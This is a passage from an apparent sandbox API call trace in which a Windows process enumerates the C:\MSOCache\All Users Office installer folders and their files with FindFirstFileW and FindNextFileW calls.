cFileName="{90160000-012B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9B15F~1")) returned 0 [0131.143] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0131.144] SetErrorMode (uMode=0x0) returned 0x1 [0131.145] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0131.145] SetErrorMode (uMode=0x1) returned 0x0 [0131.145] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*" (normalized: "c:\\msocache\\all users\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0131.146] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb919e880, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcac49d00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcac49d00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0011-0000-0000-0000000FF1CE}-C", cAlternateFileName="{90160~2")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1fe2960, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2113460, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2113460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0016-0409-0000-0000000FF1CE}-C", cAlternateFileName="{974F5~1")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd33f8300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3f92e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f92e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0018-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9CA7F~1")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3f92e40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0019-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9032D~1")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd33d21a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33d21a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001A-0409-0000-0000000FF1CE}-C", cAlternateFileName="{98E9A~1")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd410fc00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd4c38320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c38320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9E8C9~1")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xcac6fe60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd08f95a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd08f95a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-002C-0409-0000-0000000FF1CE}-C", cAlternateFileName="{90160~3")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2433140, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd247f400, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247f400, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0044-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9E0A5~1")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f4a3e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1fe2960, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe2960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0090-0409-0000-0000000FF1CE}-C", cAlternateFileName="{935E4~1")) returned 1 [0131.148] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd16f56e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f24280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f24280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00A1-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9155A~1")) returned 1 [0131.148] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2113460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd240cfe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd240cfe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00BA-0409-0000-0000000FF1CE}-C", cAlternateFileName="{97C62~1")) returned 1 [0131.148] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f24280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f4a3e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f4a3e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E1-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9C97F~1")) returned 1 [0131.148] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd32c7800, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E2-0409-0000-0000000FF1CE}-C", cAlternateFileName="{97E7F~1")) returned 1 [0131.148] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2589da0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3209120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0115-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9AA2F~1")) returned 1 [0131.148] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb9178720, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0116-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~1")) returned 1 [0131.148] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd091f700, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16f56e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f56e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0117-0409-0000-0000000FF1CE}-C", cAlternateFileName="{90160~4")) returned 1 [0131.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-012B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9B15F~1")) returned 1 [0131.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-012B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9B15F~1")) returned 0 [0131.149] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0131.150] SetErrorMode (uMode=0x0) returned 0x1 [0131.150] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0131.151] SetErrorMode (uMode=0x1) returned 0x0 [0131.151] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb919e880, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcac49d00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcac49d00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0131.155] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb919e880, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcac49d00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcac49d00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.155] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6ce70000, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6ce70000, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xb91c4210, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3c3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0131.155] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x12e83a80, ftCreationTime.dwHighDateTime=0x1d0cbb6, ftLastAccessTime.dwLowDateTime=0x12e83a80, ftLastAccessTime.dwHighDateTime=0x1d0cbb6, ftLastWriteTime.dwLowDateTime=0xb919d110, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1380, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0131.156] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf770f620, ftCreationTime.dwHighDateTime=0x1d0cb97, ftLastAccessTime.dwLowDateTime=0xf770f620, ftLastAccessTime.dwHighDateTime=0x1d0cb97, ftLastWriteTime.dwLowDateTime=0xcabfcaa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x318b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0131.156] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7d3bac20, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7d3bac20, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xca1b9b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x960aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0131.156] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a23d2d0, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0x3a23d2d0, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xb93d85b0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d2ccbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW64WW.cab", cAlternateFileName="")) returned 1 [0131.156] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x870a50a0, ftCreationTime.dwHighDateTime=0x1d0ca7c, ftLastAccessTime.dwLowDateTime=0x870a50a0, ftLastAccessTime.dwHighDateTime=0x1d0ca7c, ftLastWriteTime.dwLowDateTime=0xcac23ba0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x137258, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0131.156] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16fad80, ftCreationTime.dwHighDateTime=0x1d0ca8d, ftLastAccessTime.dwLowDateTime=0x16fad80, ftLastAccessTime.dwHighDateTime=0x1d0ca8d, ftLastWriteTime.dwLowDateTime=0xcac23ba0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0131.156] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19453d90, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x19453d90, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xbb7ffba0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0131.156] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x20df7960, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x20df7960, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xbb7685c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x42d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0131.156] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa9bd76f0, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xa9bd76f0, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xbcba2950, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x13496c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPsWW.cab", cAlternateFileName="")) returned 1 [0131.157] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9ecd5a60, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x9ecd5a60, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xc4980430, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xed9cec7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPsWW2.cab", cAlternateFileName="")) returned 1 [0131.157] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e3d3da0, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7e3d3da0, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xca192a60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x946c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.dll", cAlternateFileName="")) returned 1 [0131.157] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f377c20, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7f377c20, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xca192a60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x39cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0131.157] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x417c4f10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x417c4f10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xcac48590, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0131.157] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x417c4f10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x417c4f10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xcac48590, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0131.157] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0131.158] SetErrorMode (uMode=0x0) returned 0x1 [0131.158] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0131.158] SetErrorMode (uMode=0x1) returned 0x0 [0131.159] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb919e880, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcac49d00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcac49d00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0131.160] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb919e880, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcac49d00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcac49d00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6ce70000, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6ce70000, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xb91c4210, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3c3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x12e83a80, ftCreationTime.dwHighDateTime=0x1d0cbb6, ftLastAccessTime.dwLowDateTime=0x12e83a80, ftLastAccessTime.dwHighDateTime=0x1d0cbb6, ftLastWriteTime.dwLowDateTime=0xb919d110, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1380, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf770f620, ftCreationTime.dwHighDateTime=0x1d0cb97, ftLastAccessTime.dwLowDateTime=0xf770f620, ftLastAccessTime.dwHighDateTime=0x1d0cb97, 